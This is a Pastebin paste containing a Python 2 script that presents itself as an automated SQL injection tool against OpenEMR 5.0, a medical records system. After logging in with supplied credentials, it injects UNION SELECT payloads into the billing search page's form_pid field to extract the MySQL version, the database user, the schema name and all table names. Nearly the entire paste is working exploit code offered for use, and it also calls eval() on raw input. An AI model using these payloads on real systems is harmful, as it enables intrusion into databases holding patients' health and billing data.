Advertisement
Guest User

Untitled

a guest
Mar 30th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. #Project OpenEMR 5.0
  2. #autmatic sql injection
  3. from bs4 import BeautifulSoup
  4. import re
  5. import getpass
  6. import mechanize
  7. intro = """
  8. '||''''| '|| ||' '||''|.
  9. ... ... ... .... .. ... || . ||| ||| || ||
  10. .| '|. ||' || .|...|| || || ||''| |'|..'|| ||''|'
  11. || || || | || || || || | '|' || || |.
  12. '|..|' ||...' '|...' .||. ||. .||.....| .|. | .||. .||. '|'
  13. || version 5.0.0
  14. '''' SQL Injection Tool
  15.  
  16. """
  17. print intro+"\n"
  18.  
  19. host = raw_input("\nEnter Host: ")
  20. url = ("http://"+host+"/openemr/interface/login/login.php?site=default")
  21. vulnurl = ("http://"+host+"/openemr/interface/billing/sl_eob_search.php/sl_eob_search.php")
  22.  
  23. br = mechanize.Browser()
  24.  
  25. br.set_handle_robots(False)
  26. br.set_handle_redirect(True)
  27.  
  28. r = br.open(url)
  29. br.select_form(nr = 0)
  30.  
  31. print "Login\n-----"
  32. name = raw_input("Username: ")
  33. passw = getpass.getpass("Password: ")
  34. br.form["authUser"] = name
  35. br.form["clearPass"] = passw
  36. logged_in = br.submit()
  37.  
  38.  
  39.  
  40.  
  41.  
  42. version = "' union select 1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17#"
  43. user = "' union select 1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16,17#"
  44. database ="' union select 1,2,3,4,5,6,7,8,schema(),10,11,12,13,14,15,16,17#"
  45. tables = "' union select 1,2,3,4,5,6,7,8,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,table_name,0x2c))))x),10,11,12,13,14,15,16,17#"
  46.  
  47. while 1:
  48. x = br.open(vulnurl)
  49.  
  50. br.select_form(nr = 0)
  51. print "version = print Mysql Version\nuser = print user of Website\ndatabase = print main database \ntables = Print all tables of Main database"
  52. input1 = eval(raw_input("\nWhats your choice? "))
  53.  
  54. br.form["form_pid"] = "".join(input1)
  55. query = br.submit()
  56. end = query.read()
  57.  
  58. soup = BeautifulSoup(end,"html.parser")
  59. href = soup.find_all(onclick="return npopup(2)")
  60.  
  61. print href
  62. print "\n\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement